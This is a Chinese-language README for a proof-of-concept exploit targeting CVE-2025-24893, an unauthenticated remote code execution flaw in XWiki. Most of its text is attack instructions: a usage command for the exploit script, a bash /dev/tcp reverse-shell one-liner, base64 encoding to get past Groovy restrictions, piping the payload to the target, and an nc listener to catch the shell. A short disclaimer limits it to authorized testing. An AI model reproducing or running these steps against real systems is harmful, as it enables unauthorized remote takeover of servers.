CVE-2025-24893 - XWiki 远程代码执行 (RCE)

这是一个针对 CVE-2025-24893 的更新版概念验证 (PoC) 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。

作者: HexHunter404

⚠️ 警告

此代码仅供教育和授权的渗透测试使用。
请勿将其用于您不拥有或未经明确许可测试的系统上。

✨ 功能特点

• 支持通过 bash -c '<command>' 执行命令
• 完全支持反弹 shell（通过 base64 绕过 Groovy 限制）
• 改进了命令输出的处理
• 保留 /xwiki 路径并避免重定向循环

🐍 使用方式

python3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"

🐚 获取反弹 Shell

. 使用 Base64 编码你的反弹 shell

echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64

. 使用 PoC 发送

python3  CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"

. 设置你的监听器

nc -lvnp 4444

如果成功，你将获得一个 shell